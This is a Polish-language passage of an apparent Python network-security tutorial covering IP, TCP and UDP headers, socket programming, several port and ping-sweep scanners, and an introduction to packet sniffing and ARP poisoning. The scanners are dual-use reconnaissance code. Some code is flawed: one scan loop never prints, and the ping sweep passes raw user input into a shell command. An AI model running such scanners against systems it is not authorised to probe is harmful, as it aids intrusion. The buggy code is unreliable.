Zgodnie z wymaganiami zasobów sieciowych, jeśli pakiet IP jest zbyt duży, aby go obsłużyć, te „flagi” wskazują, czy mogą być pofragmentowane, czy nie. W tej 3-bitowej fladze MSB jest zawsze ustawione na „0”.

Przesunięcie fragmentu

To przesunięcie określa dokładną pozycję fragmentu w oryginalnym pakiecie IP.

Czas żyć

Aby uniknąć zapętlenia w sieci, każdy pakiet jest wysyłany z pewną ustawioną wartością TTL, która informuje sieć, ile routerów (przeskoków) może przekroczyć ten pakiet. Przy każdym przeskoku jego wartość jest zmniejszana o jeden, a gdy wartość osiągnie zero, pakiet jest odrzucany.

Protokół

Informuje warstwę sieciową na hoście docelowym, do którego protokołu należy ten pakiet, tj. Protokół następnego poziomu. Na przykład numer protokołu ICMP to 1, TCP to 6, a UDP to 17.

Suma kontrolna nagłówka

To pole służy do przechowywania wartości sumy kontrolnej całego nagłówka, która jest następnie używana do sprawdzenia, czy pakiet został odebrany bez błędów.

Adres źródłowy

32-bitowy adres nadawcy (lub źródła) pakietu.

Adres przeznaczenia

32-bitowy adres odbiorcy (lub przeznaczenia) pakietu.

Opcje

Jest to pole opcjonalne, które jest używane, jeśli wartość MPH jest większa niż 5. Te opcje mogą zawierać wartości opcji, takich jak Bezpieczeństwo, Trasa rekordu, Znacznik czasu itp.

Jeśli chcesz szczegółowo zapoznać się z IPv4, skorzystaj z tego łącza - www.tutorialspoint.com/ipv4/index.htm

IPv6

Protokół internetowy w wersji 6 jest najnowszym protokołem komunikacyjnym, który jako jego poprzednik IPv4 działa w warstwie sieci (Layer-3). Oprócz oferowania ogromnej ilości logicznej przestrzeni adresowej, protokół ten ma wiele funkcji, które rozwiązują wady protokołu IPv4. Poniżej znajduje się schemat nagłówka IPv4 wraz z opisem pól -

Wersja (4-bitowa)

Reprezentuje wersję protokołu internetowego - 0110.

Klasa ruchu (8 bitów)

Te 8 bitów jest podzielonych na dwie części. 6 najbardziej znaczących bitów jest używanych dla typu usługi, aby router wiedział, jakie usługi powinny być dostarczone do tego pakietu. Najmniej znaczące 2 bity są używane dla Explicit Congestion Notification (ECN).

Etykieta przepływu (20 bitów)

Ta etykieta służy do utrzymywania sekwencyjnego przepływu pakietów należących do komunikacji. Źródło oznacza sekwencję, aby pomóc routerowi zidentyfikować, że określony pakiet należy do określonego przepływu informacji. To pole pomaga uniknąć zmiany kolejności pakietów danych. Jest przeznaczony do przesyłania strumieniowego / mediów w czasie rzeczywistym.

Długość ładunku (16 bitów)

To pole służy do informowania routerów, ile informacji zawiera dany pakiet w swoim ładunku. Ładunek składa się z nagłówków rozszerzeń i danych górnej warstwy. Przy 16 bitach można wskazać do 65535 bajtów; ale jeśli nagłówki rozszerzeń zawierają nagłówek rozszerzenia przeskoku po przeskoku, wówczas ładunek może przekroczyć 65535 bajtów, a to pole jest ustawione na 0.

Następny nagłówek (8-bitowy)

Albo to pole jest używane do wskazania typu nagłówka rozszerzenia, albo jeśli nagłówek rozszerzenia nie jest obecny, oznacza to jednostkę PDU górnej warstwy. Wartości typu jednostki PDU górnej warstwy są takie same, jak w przypadku protokołu IPv4.

Limit przeskoków (8 bitów)

To pole służy do zatrzymywania pakietów w nieskończonej pętli w sieci. To jest to samo, co TTL w IPv4. Wartość pola Limit przeskoków jest zmniejszana o 1, gdy przechodzi przez łącze (router / przeskok). Gdy pole osiągnie 0, pakiet jest odrzucany.

Adres źródłowy (128 bitów)

To pole wskazuje adres nadawcy pakietu.

Adres docelowy (128 bitów)

To pole zawiera adres zamierzonego odbiorcy pakietu.

Jeśli chcesz szczegółowo zapoznać się z IPv6, skorzystaj z tego łącza - www.tutorialspoint.com/ipv6/index.htm

Architektura nagłówka TCP (Transmission Control Protocol)

Jak wiemy, TCP jest protokołem połączeniowym, w którym sesja między dwoma systemami jest ustanawiana przed rozpoczęciem komunikacji. Połączenie zostanie zamknięte po zakończeniu komunikacji. Protokół TCP wykorzystuje technikę uzgadniania trójetapowego do ustanowienia gniazda połączenia między dwoma systemami. Uzgadnianie trójetapowe oznacza, że ​​trzy komunikaty - SYN, SYN-ACK i ACK, są przesyłane tam i z powrotem między dwoma systemami. Etapy pracy między dwoma systemami, systemem inicjującym i docelowym, są następujące:

Step 1 − Packet with SYN flag set

Przede wszystkim system, który próbuje zainicjować połączenie, uruchamia się pakietem, który ma ustawioną flagę SYN.

Step 2 − Packet with SYN-ACK flag set

Teraz w tym kroku system docelowy zwraca pakiet z ustawionymi flagami SYN i ACK.

Step 3 − Packet with ACK flag set

W końcu system inicjujący zwróci pakiet do pierwotnego systemu docelowego z ustawioną flagą ACK.

Poniżej znajduje się schemat nagłówka TCP wraz z opisem pól -

Port źródłowy (16-bitowy)

Identyfikuje port źródłowy procesu aplikacji na urządzeniu wysyłającym.

Port docelowy (16-bitowy)

Identyfikuje port docelowy procesu aplikacji na urządzeniu odbierającym.

Numer sekwencyjny (32 bity)

Numer kolejny bajtów danych segmentu w sesji.

Numer potwierdzenia (32 bity)

Gdy flaga ACK jest ustawiona, liczba ta zawiera następny numer sekwencji oczekiwanego bajtu danych i działa jako potwierdzenie wcześniej odebranych danych.

Przesunięcie danych (4 bity)

To pole określa zarówno rozmiar nagłówka TCP (słowa 32-bitowe), jak i przesunięcie danych w bieżącym pakiecie w całym segmencie TCP.

Zarezerwowane (3 bity)

Zarezerwowane do użytku w przyszłości i domyślnie ustawione na zero.

Flagi (1-bitowe każda)

  • NS - Proces sygnalizacji jawnego powiadomienia o zatorach wykorzystuje ten bit sumy nonce.

  • CWR - Gdy host odbiera pakiet z ustawionym bitem ECE, ustawia opcję Congestion Windows Reduced na potwierdzenie odebrania ECE.

  • ECE - Ma dwa znaczenia -

    • Jeśli bit SYN ma wartość 0, wówczas ECE oznacza, że ​​pakiet IP ma ustawiony bit CE (doświadczenie przeciążenia).

    • Jeśli bit SYN jest ustawiony na 1, ECE oznacza, że ​​urządzenie obsługuje ECT.

  • URG - Wskazuje, że pole Urgent Pointer zawiera istotne dane i powinno zostać przetworzone.

  • ACK- Wskazuje, że pole potwierdzenia ma znaczenie. Jeśli ACK jest zerowane, oznacza to, że pakiet nie zawiera żadnego potwierdzenia.

  • PSH - Po ustawieniu jest to żądanie do stacji odbiorczej wysłania danych PUSH (gdy tylko nadejdą) do aplikacji odbierającej bez ich buforowania.

  • RST - Flaga resetowania ma następujące funkcje -

    • Służy do odrzucania połączenia przychodzącego.

    • Służy do odrzucania segmentu.

    • Służy do ponownego uruchomienia połączenia.

  • SYN - Ta flaga służy do ustanowienia połączenia między hostami.

  • FIN- Ta flaga służy do zwalniania połączenia i nie ma już więcej danych. Ponieważ pakiety z flagami SYN i FIN mają numery sekwencyjne, są przetwarzane we właściwej kolejności.

Rozmiar systemu Windows

To pole jest używane do sterowania przepływem między dwiema stacjami i wskazuje ilość bufora (w bajtach), który odbiornik zaalokował dla segmentu, tj. Ile danych oczekuje odbiornik.

  • Checksum - To pole zawiera sumę kontrolną nagłówka, danych i pseudo nagłówków.

  • Urgent Pointer - Wskazuje na pilny bajt danych, jeśli flaga URG jest ustawiona na 1.

  • Options- Ułatwia dodatkowe opcje, które nie są objęte zwykłym nagłówkiem. Pole opcji jest zawsze opisane słowami 32-bitowymi. Jeśli to pole zawiera dane mniejsze niż 32-bitowe, wypełnienie jest używane do pokrycia pozostałych bitów w celu osiągnięcia granicy 32-bitowej.

Jeśli chcesz szczegółowo zapoznać się z TCP, skorzystaj z tego linku - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm

Architektura nagłówka UDP (User Datagram Protocol)

UDP to prosty bezpołączeniowy protokół, w przeciwieństwie do TCP, zorientowany na połączenie. Obejmuje minimalną ilość mechanizmu komunikacyjnego. W UDP odbiorca nie generuje potwierdzenia odebrania pakietu, az kolei nadawca nie czeka na jakiekolwiek potwierdzenie wysłania pakietu. Ta wada sprawia, że ​​ten protokół jest zawodny, a także łatwiejszy w przetwarzaniu. Poniżej znajduje się schemat nagłówka UDP wraz z opisem pól -

Port źródłowy

Te 16-bitowe informacje są używane do identyfikacji portu źródłowego pakietu.

Port docelowy

Te 16-bitowe informacje są używane do identyfikacji usługi na poziomie aplikacji na komputerze docelowym.

Długość

Pole długości określa całą długość pakietu UDP (łącznie z nagłówkiem). Jest to pole 16-bitowe, a jego minimalna wartość to 8 bajtów, czyli rozmiar samego nagłówka UDP.

Suma kontrolna

W tym polu przechowywana jest suma kontrolna wygenerowana przez nadawcę przed wysłaniem. IPv4 ma to pole jako opcjonalne, więc gdy pole sumy kontrolnej nie zawiera żadnej wartości, przyjmuje wartość 0, a wszystkie jego bity są ustawiane na zero.

Aby szczegółowo zapoznać się z protokołem TCP, skorzystaj z tego łącza - protokół datagramów użytkownika

Gniazda to punkty końcowe dwukierunkowego kanału komunikacyjnego. Mogą komunikować się w ramach procesu, między procesami na tej samej maszynie lub między procesami na różnych maszynach. Podobnie gniazdo sieciowe jest punktem końcowym w przepływie komunikacji między dwoma programami działającymi w sieci komputerowej, takiej jak Internet. Jest to rzecz czysto wirtualna i nie oznacza żadnego sprzętu. Gniazdo sieciowe można rozpoznać po unikalnej kombinacji adresu IP i numeru portu. Gniazda sieciowe mogą być implementowane w wielu różnych typach kanałów, takich jak TCP, UDP i tak dalej.

Różne terminy związane z gniazdem używanym w programowaniu sieciowym są następujące:

Domena

Domena to rodzina protokołów, które są używane jako mechanizm transportu. Te wartości są stałymi, takimi jak AF_INET, PF_INET, PF_UNIX, PF_X25 i tak dalej.

Rodzaj

Typ oznacza rodzaj komunikacji między dwoma punktami końcowymi, zazwyczaj SOCK_STREAM dla protokołów zorientowanych na połączenie i SOCK_DGRAM dla protokołów bezpołączeniowych.

Protokół

Może to służyć do identyfikacji wariantu protokołu w domenie i typu. Jego domyślna wartość to 0. Zwykle jest pomijana.

Nazwa hosta

Działa jako identyfikator interfejsu sieciowego. Nazwa hosta nie może być łańcuchem, adresem z kropkami lub adresem IPV6 w notacji z dwukropkiem (i prawdopodobnie kropką).

Port

Każdy serwer nasłuchuje klientów dzwoniących na co najmniej jednym porcie. Port może być numerem portu Fixnum, ciągiem znaków zawierającym numer portu lub nazwą usługi.

Moduł gniazd w Pythonie do programowania gniazd

Aby zaimplementować programowanie gniazd w Pythonie, musimy skorzystać z modułu Socket. Poniżej znajduje się prosta składnia tworzenia gniazda -

import socket
s = socket.socket (socket_family, socket_type, protocol = 0)

Tutaj musimy zaimportować bibliotekę gniazd, a następnie utworzyć proste gniazdo. Poniżej przedstawiono różne parametry używane podczas tworzenia gniazda -

  • socket_family - To jest AF_UNIX lub AF_INET, jak wyjaśniono wcześniej.

  • socket_type - To jest SOCK_STREAM lub SOCK_DGRAM.

  • protocol - Zwykle jest to pomijane, domyślnie 0.

Metody gniazd

W tej sekcji poznamy różne metody gniazd. Trzy różne zestawy metod gniazd opisano poniżej -

  • Metody gniazda serwera
  • Metody gniazda klienta
  • Ogólne metody gniazd

Metody gniazda serwera

W architekturze klient-serwer istnieje jeden scentralizowany serwer, który świadczy usługi, a wielu klientów otrzymuje usługi z tego scentralizowanego serwera. Klienci wysyłają również żądanie do serwera. Oto kilka ważnych metod gniazd serwera w tej architekturze -

  • socket.bind() - Ta metoda wiąże adres (nazwa hosta, numer portu) z gniazdem.

  • socket.listen()- Ta metoda zasadniczo nasłuchuje połączeń wykonanych z gniazdem. Uruchamia odbiornik TCP. Backlog to argument tej metody określający maksymalną liczbę połączeń w kolejce. Jego minimalna wartość to 0, a maksymalna to 5.

  • socket.accept()- To zaakceptuje połączenie klienta TCP. Para (conn, adres) jest parą wartości zwracanych przez tę metodę. W tym przypadku conn jest nowym obiektem gniazda używanym do wysyłania i odbierania danych dotyczących połączenia, a adres jest adresem powiązanym z gniazdem. Przed użyciem tej metody należy użyć metody socket.bind () i socket.listen ().

Metody gniazda klienta

Klient w architekturze klient-serwer żąda od serwera i odbiera usługi z serwera. W tym celu jest tylko jedna metoda dedykowana dla klientów -

  • socket.connect(address)- ta metoda aktywnie intymnie łączy się z serwerem lub w prostych słowach ta metoda łączy klienta z serwerem. Argument address reprezentuje adres serwera.

Ogólne metody gniazd

Oprócz metod wykorzystujących gniazda klienta i serwera, istnieją pewne ogólne metody wykorzystujące gniazda, które są bardzo przydatne w programowaniu za pomocą gniazd. Ogólne metody gniazd są następujące -

  • socket.recv(bufsize)- Jak sama nazwa wskazuje, ta metoda odbiera komunikat TCP z gniazda. Argument bufsize oznacza rozmiar bufora i określa maksymalne dane, które ta metoda może otrzymać w dowolnym momencie.

  • socket.send(bytes)- Ta metoda służy do wysyłania danych do gniazda, które jest podłączone do zdalnego komputera. Argument bajty podaje liczbę bajtów wysłanych do gniazda.

  • socket.recvfrom(data, address)- Ta metoda odbiera dane z gniazda. Ta metoda zwraca wartość dwóch par (dane, adres). Dane określają odebrane dane, a adres określa adres gniazda wysyłającego dane.

  • socket.sendto(data, address)- Jak sama nazwa wskazuje, ta metoda służy do wysyłania danych z gniazda. Ta metoda zwraca wartość dwóch par (dane, adres). Dane określają liczbę wysłanych bajtów, a adres określa adres zdalnego komputera.

  • socket.close() - Ta metoda zamknie gniazdo.

  • socket.gethostname() - Ta metoda zwróci nazwę hosta.

  • socket.sendall(data)- Ta metoda wysyła wszystkie dane do gniazda, które jest połączone z maszyną zdalną. Nieostrożnie przesyła dane do momentu wystąpienia błędu, a jeśli tak się stanie, używa metody socket.close (), aby zamknąć gniazdo.

Program do nawiązywania połączenia między serwerem a klientem

Aby nawiązać połączenie między serwerem a klientem, musimy napisać dwa różne programy w Pythonie, jeden dla serwera, a drugi dla klienta.

Program po stronie serwera

W tym programie używającym gniazd po stronie serwera użyjemy rozszerzenia socket.bind()metoda, która wiąże go z określonym adresem IP i portem, dzięki czemu może nasłuchiwać żądań przychodzących na tym IP i porcie. Później używamysocket.listen()metoda, która przełącza serwer w tryb nasłuchiwania. Liczba, powiedzmy 4, jako argument funkcjisocket.listen()metoda oznacza, że ​​4 połączenia są utrzymywane w oczekiwaniu, jeśli serwer jest zajęty i jeśli 5. gniazdo próbuje się połączyć, połączenie jest odrzucane. Wyślemy wiadomość do klienta za pomocą plikusocket.send()metoda. Pod koniec używamysocket.accept() i socket.close()metoda inicjowania i zamykania połączenia odpowiednio. Poniżej znajduje się program po stronie serwera -

import socket
def Main():
   host = socket.gethostname()
   port = 12345
   serversocket = socket.socket()
   serversocket.bind((host,port))
   serversocket.listen(1)
   print('socket is listening')
   
   while True:
      conn,addr = serversocket.accept()
      print("Got connection from %s" % str(addr))
      msg = 'Connecting Established'+ "\r\n"
      conn.send(msg.encode('ascii'))
      conn.close()
if __name__ == '__main__':
   Main()

Program po stronie klienta

W programie używającym gniazd po stronie klienta musimy utworzyć obiekt gniazda. Następnie połączymy się z portem, na którym działa nasz serwer - w naszym przykładzie 12345. Następnie nawiążemy połączenie za pomocąsocket.connect()metoda. Następnie za pomocąsocket.recv()klient otrzyma wiadomość z serwera. W końcusocket.close() metoda zamknie klienta.

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

host = socket.gethostname()
port = 12345

s.connect((host, port))
msg = s.recv(1024)

s.close()
print (msg.decode('ascii'))

Teraz po uruchomieniu programu po stronie serwera otrzymamy na terminalu następujące dane wyjściowe -

socket is listening
Got connection from ('192.168.43.75', 49904)

Po uruchomieniu programu po stronie klienta na innym terminalu otrzymamy następujące dane wyjściowe -

Connection Established

Obsługa wyjątków gniazd sieciowych

Istnieją dwa bloki, a mianowicie try i exceptktóry może służyć do obsługi wyjątków gniazd sieciowych. Poniżej znajduje się skrypt w Pythonie do obsługi wyjątków -

import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

try:
   s.bind((host,port))
   s.settimeout(3)
   data, addr = s.recvfrom(1024)
   print ("recevied from ",addr)
   print ("obtained ", data)
   s.close()
except socket.timeout :
   print ("No connection between client and server")
   s.close()

Wynik

Powyższy program generuje następujące dane wyjściowe -

No connection between client and server

W powyższym skrypcie najpierw utworzyliśmy obiekt gniazda. Następnie podano adres IP hosta i numer portu, na którym działa nasz serwer - w naszym przykładzie 12345. Później używany jest blok try i wewnątrz niego za pomocąsocket.bind()spróbujemy powiązać adres IP i port. Używamysocket.settimeout()metoda ustawiania czasu oczekiwania klienta, w naszym przykładzie ustawiamy 3 sekundy. Używany jest blok except, który wypisuje komunikat, jeśli połączenie nie zostanie nawiązane między serwerem a klientem.

Skanowanie portów można zdefiniować jako technikę nadzoru, która służy do lokalizowania otwartych portów dostępnych na określonym hoście. Z tej techniki może skorzystać administrator sieci, tester penetracji lub haker. Możemy skonfigurować skaner portów zgodnie z naszymi wymaganiami, aby uzyskać maksymalne informacje z systemu docelowego.

Teraz rozważ informacje, które możemy uzyskać po uruchomieniu skanowania portów -

  • Informacje o otwartych portach.

  • Informacje o usługach działających na każdym porcie.

  • Informacje o systemie operacyjnym i adresie MAC hosta docelowego.

Skanowanie portów jest jak złodziej, który chce wejść do domu, sprawdzając wszystkie drzwi i okna, aby zobaczyć, które z nich są otwarte. Jak wspomniano wcześniej, zestaw protokołów TCP / IP, używany do komunikacji przez Internet, składa się z dwóch protokołów, mianowicie TCP i UDP. Oba protokoły mają od 0 do 65535 portów. Ponieważ zawsze wskazane jest zamykanie niepotrzebnych portów w naszym systemie, w zasadzie istnieje ponad 65000 drzwi (portów) do zablokowania. Te 65535 portów można podzielić na trzy następujące zakresy -

  • Porty systemowe lub dobrze znane: od 0 do 1023

  • Porty użytkownika lub zarejestrowane: od 1024 do 49151

  • Porty dynamiczne lub prywatne: wszystkie> 49151

Skaner portów za pomocą Socket

W naszym poprzednim rozdziale omówiliśmy, czym jest gniazdo. Teraz zbudujemy prosty skaner portów za pomocą gniazda. Poniżej znajduje się skrypt w Pythonie do skanera portów przy użyciu gniazda -

from socket import *
import time
startTime = time.time()

if __name__ == '__main__':
   target = input('Enter the host to be scanned: ')
   t_IP = gethostbyname(target)
   print ('Starting scan on host: ', t_IP)
   
   for i in range(50, 500):
      s = socket(AF_INET, SOCK_STREAM)
      
      conn = s.connect_ex((t_IP, i))
      if(conn == 0) :
         print ('Port %d: OPEN' % (i,))
      s.close()
print('Time taken:', time.time() - startTime)

Kiedy uruchomimy powyższy skrypt, zapyta o nazwę hosta, możesz podać dowolną nazwę hosta, taką jak nazwa dowolnej witryny, ale bądź ostrożny, ponieważ skanowanie portów może być postrzegane jako przestępstwo lub zinterpretowane jako przestępstwo. Nigdy nie powinniśmy uruchamiać skanera portów na żadnej stronie internetowej lub adresie IP bez wyraźnej, pisemnej zgody właściciela serwera lub komputera, na który kierujesz reklamy. Skanowanie portów przypomina pójście do czyjegoś domu i sprawdzenie jego drzwi i okien. Dlatego zaleca się używanie skanera portów na serwerze lokalnym lub na własnej stronie internetowej (jeśli taka istnieje).

Wynik

Powyższy skrypt generuje następujące dane wyjściowe -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467

Wynik pokazuje, że w zakresie od 50 do 500 (jak podano w skrypcie), ten skaner portów znalazł dwa otwarte porty - porty 135 i 445. Możemy zmienić ten zakres i sprawdzić inne porty.

Skaner portów przy użyciu protokołu ICMP (hosty na żywo w sieci)

ICMP nie jest skanowaniem portów, ale służy do pingowania zdalnego hosta w celu sprawdzenia, czy host działa. To skanowanie jest przydatne, gdy musimy sprawdzić kilka aktywnych hostów w sieci. Polega na wysłaniu żądania ICMP ECHO do hosta i jeśli ten host jest aktywny, zwróci odpowiedź ICMP ECHO.

Powyższy proces wysyłania żądania ICMP jest również nazywany skanowaniem ping, które jest zapewniane przez polecenie ping systemu operacyjnego.

Koncepcja Ping Sweep

Właściwie w takim czy innym sensie zamiatanie pingiem jest również znane jako zamiatanie pingiem. Jedyną różnicą jest to, że zamiatanie pingów to procedura znajdowania dostępności więcej niż jednej maszyny w określonym zakresie sieci. Na przykład, przypuśćmy, że chcemy przetestować pełną listę adresów IP, a następnie za pomocą skanowania ping, tj. Polecenia ping systemu operacyjnego, skanowanie adresów IP jeden po drugim byłoby bardzo czasochłonne. Dlatego musimy użyć skryptu zamiatania pingów. Poniżej znajduje się skrypt Pythona do znajdowania aktywnych hostów za pomocą funkcji ping -

import os
import platform

from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()

if (oper == "Windows"):
   ping1 = "ping -n 1 "
elif (oper == "Linux"):
   ping1 = "ping -c 1 "
else :
   ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")

for ip in range(st1,en1):
   addr = net2 + str(ip)
   comm = ping1 + addr
   response = os.popen(comm)
   
   for line in response.readlines():
      if(line.count("TTL")):
         break
      if (line.count("TTL")):
         print (addr, "--> Live")
         
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)

Powyższy skrypt działa w trzech częściach. Najpierw wybiera zakres adresów IP do skanowania w poszukiwaniu poleceń ping, dzieląc go na części. Po tym następuje użycie funkcji, która wybierze polecenie do zamiatania pingów zgodnie z systemem operacyjnym, a na końcu podaje odpowiedź o hoście i czasie potrzebnym do zakończenia procesu skanowania.

Wynik

Powyższy skrypt generuje następujące dane wyjściowe -

Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100

Scanning in Progress:
Scanning completed in: 0:00:02.711155

Powyższe dane wyjściowe nie pokazują aktywnych portów, ponieważ zapora jest włączona, a ustawienia przychodzącego protokołu ICMP są również wyłączone. Po zmianie tych ustawień możemy uzyskać listę portów na żywo w zakresie od 1 do 100 podanych na wyjściu.

Skaner portów wykorzystujący skanowanie TCP

Aby ustanowić połączenie TCP, host musi wykonać uzgadnianie trójetapowe. Wykonaj następujące kroki, aby wykonać akcję -

Step 1 − Packet with SYN flag set

W tym kroku system, który próbuje zainicjować połączenie, uruchamia się z pakietem z ustawioną flagą SYN.

Step 2 − Packet with SYN-ACK flag set

W tym kroku system docelowy zwraca pakiet z ustawionymi flagami SYN i ACK.

Step 3 − Packet with ACK flag set

W końcu system inicjujący zwróci pakiet do pierwotnego systemu docelowego z ustawioną flagą ACK.

Niemniej jednak pojawia się tutaj pytanie, czy możemy wykonać skanowanie portów przy użyciu metody żądania i odpowiedzi echa ICMP (skaner zamiatania pingów), to dlaczego potrzebujemy skanowania TCP? Głównym powodem jest to, że przypuśćmy, że jeśli wyłączymy funkcję odpowiedzi ICMP ECHO lub użyjemy zapory ogniowej do pakietów ICMP, skaner zamiatania pingów nie będzie działał i będziemy potrzebować skanowania TCP.

import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'

net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()

def scan(addr):
   s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   socket.setdefaulttimeout(1)
   result = s.connect_ex((addr,135))
   if result == 0:
      return 1
   else :
      return 0

def run1():
   for ip in range(st1,en1):
      addr = net2 + str(ip)
      if (scan(addr)):
         print (addr , "is live")
         
run1()
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: " , total)

Powyższy skrypt działa w trzech częściach. Wybiera zakres adresów IP do skanowania w poszukiwaniu poleceń ping, dzieląc go na części. Po tym następuje użycie funkcji do skanowania adresu, która dalej wykorzystuje gniazdo. Później daje odpowiedź na temat hosta i czasu potrzebnego na zakończenie procesu skanowania. Wynik = s. Instrukcja connect_ex ((addr, 135)) zwraca wskaźnik błędu. Wskaźnikiem błędu jest 0, jeśli operacja się powiedzie, w przeciwnym razie jest to wartość zmiennej errno. Tutaj użyliśmy portu 135; ten skaner działa w systemie Windows. Kolejny port, który będzie tutaj działał, to 445 (katalog Microsoft-DSActive) i jest zwykle otwarty.

Wynik

Powyższy skrypt generuje następujące dane wyjściowe -

Enter the IP address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 10

127.0.0.1 is live
127.0.0.2 is live
127.0.0.3 is live
127.0.0.4 is live
127.0.0.5 is live
127.0.0.6 is live
127.0.0.7 is live
127.0.0.8 is live
127.0.0.9 is live
127.0.0.10 is live
Scanning completed in: 0:00:00.230025

Threaded Port Scanner w celu zwiększenia wydajności

Jak widzieliśmy w powyższych przypadkach, skanowanie portów może być bardzo powolne. Na przykład możesz zobaczyć, że czas potrzebny na skanowanie portów od 50 do 500, podczas korzystania ze skanera portów gniazd, wynosi 452,3990001678467. Aby poprawić prędkość, możemy użyć wątków. Poniżej znajduje się przykład skanera portów przy użyciu wątków -

import socket
import time
import threading

from queue import Queue
socket.setdefaulttimeout(0.25)
print_lock = threading.Lock()

target = input('Enter the host to be scanned: ')
t_IP = socket.gethostbyname(target)
print ('Starting scan on host: ', t_IP)

def portscan(port):
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   try:
      con = s.connect((t_IP, port))
      with print_lock:
         print(port, 'is open')
      con.close()
   except:
      pass

def threader():
   while True:
      worker = q.get()
      portscan(worker)
      q.task_done()
      
q = Queue()
   startTime = time.time()
   
for x in range(100):
   t = threading.Thread(target = threader)
   t.daemon = True
   t.start()
   
for worker in range(1, 500):
   q.put(worker)
   
q.join()
print('Time taken:', time.time() - startTime)

W powyższym skrypcie musimy zaimportować moduł Threading, który jest wbudowany w pakiet Pythona. Stosujemy koncepcję blokowania gwintu,thread_lock = threading.Lock()aby uniknąć wielu modyfikacji na raz. Zasadniczo threading.Lock () pozwoli pojedynczemu wątkowi na dostęp do zmiennej naraz. W związku z tym nie występuje podwójna modyfikacja.

Później definiujemy jedną funkcję Threader (), która pobierze pracę (port) od pracownika pętli for. Następnie wywoływana jest metoda portscan (), aby połączyć się z portem i wydrukować wynik. Numer portu jest przekazywany jako parametr. Po zakończeniu zadania wywoływana jest metoda q.task_done ().

Teraz po uruchomieniu powyższego skryptu możemy zobaczyć różnicę w szybkości skanowania od 50 do 500 portów. Zajęło to tylko 1,3589999675750732 sekundy, czyli znacznie mniej niż 452,3990001678467, czas potrzebny skanerowi portów gniazda do przeskanowania tej samej liczby portów hosta lokalnego.

Wynik

Powyższy skrypt generuje następujące dane wyjściowe -

Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
135 is open
445 is open
Time taken: 1.3589999675750732

Sniffing lub sniffowanie pakietów sieciowych to proces monitorowania i przechwytywania wszystkich pakietów przechodzących przez daną sieć za pomocą narzędzi do wykrywania. To forma, w której możemy „podpiąć przewody telefoniczne” i poznać rozmowę. Nazywa się to równieżwiretapping i może być stosowany w sieciach komputerowych.

Jest tak duże prawdopodobieństwo, że jeśli zestaw portów przełączników korporacyjnych jest otwarty, jeden z ich pracowników może podsłuchiwać cały ruch w sieci. Każdy w tej samej lokalizacji fizycznej może podłączyć się do sieci za pomocą kabla Ethernet lub połączyć się bezprzewodowo z tą siecią i węszyć cały ruch.

Innymi słowy, Sniffing pozwala zobaczyć wszelkiego rodzaju ruch, zarówno chroniony, jak i niechroniony. W odpowiednich warunkach i z odpowiednimi protokołami strona atakująca może być w stanie zebrać informacje, które można wykorzystać do dalszych ataków lub spowodować inne problemy dla właściciela sieci lub systemu.

Co można wąchać?

Można wykryć następujące poufne informacje z sieci -

  • Ruch e-mailowy
  • Hasła FTP
  • Ruch sieciowy
  • Hasła Telnet
  • Konfiguracja routera
  • Sesje czatu
  • Ruch DNS

Jak działa wąchanie?

Sniffer zwykle przełącza kartę sieciową systemu w tryb swobodny, aby nasłuchiwała wszystkich danych przesyłanych w jego segmencie.

Tryb swobodny odnosi się do unikalnego sposobu sprzętu Ethernet, w szczególności kart interfejsu sieciowego (NIC), który umożliwia karcie sieciowej odbieranie całego ruchu w sieci, nawet jeśli nie jest on adresowany do tej karty sieciowej. Domyślnie karta sieciowa ignoruje cały ruch, który nie jest do niej adresowany, co odbywa się poprzez porównanie adresu docelowego pakietu Ethernet z adresem sprzętowym (MAC) urządzenia. Chociaż ma to sens w przypadku sieci, tryb nierozłączny utrudnia korzystanie z oprogramowania do monitorowania i analizy sieci w celu diagnozowania problemów z łącznością lub rozliczania ruchu.

Sniffer może w sposób ciągły monitorować cały ruch do komputera przez kartę sieciową, dekodując informacje zawarte w pakietach danych.

Rodzaje wąchania

Wąchanie może mieć charakter Aktywny lub Pasywny. Teraz dowiemy się o różnych typach wąchania.

Wąchanie pasywne

W pasywnym wąchaniu ruch jest zablokowany, ale nie jest w żaden sposób zmieniany. Wąchanie pasywne pozwala tylko na słuchanie. Działa z urządzeniami Hub. Na urządzeniu koncentratora ruch jest przesyłany do wszystkich portów. W sieci wykorzystującej koncentratory do łączenia systemów wszystkie hosty w sieci mogą widzieć ruch. Dlatego osoba atakująca może łatwo przechwycić przechodzący ruch.

Dobra wiadomość jest taka, że ​​w ostatnim czasie huby niemal stały się przestarzałe. Większość nowoczesnych sieci używa przełączników. Dlatego bierne wąchanie nie jest bardziej skuteczne.

Aktywne wąchanie

W przypadku aktywnego podsłuchiwania ruch jest nie tylko blokowany i monitorowany, ale może również zostać w jakiś sposób zmieniony w zależności od ataku. Aktywne podsłuchiwanie służy do podsłuchiwania sieci opartej na przełączniku. Obejmuje wstrzyknięcie pakietów rozwiązywania adresów (ARP) do sieci docelowej, aby zalać tabelę pamięci adresowalnej zawartości przełącznika (CAM). CAM śledzi, który host jest podłączony do którego portu.

Poniżej przedstawiono techniki aktywnego wąchania -

  • Zalanie MAC
  • Ataki DHCP
  • Zatrucie DNS
  • Spoofing Attacks
  • Zatrucie ARP

Skutki wykrywania w protokołach

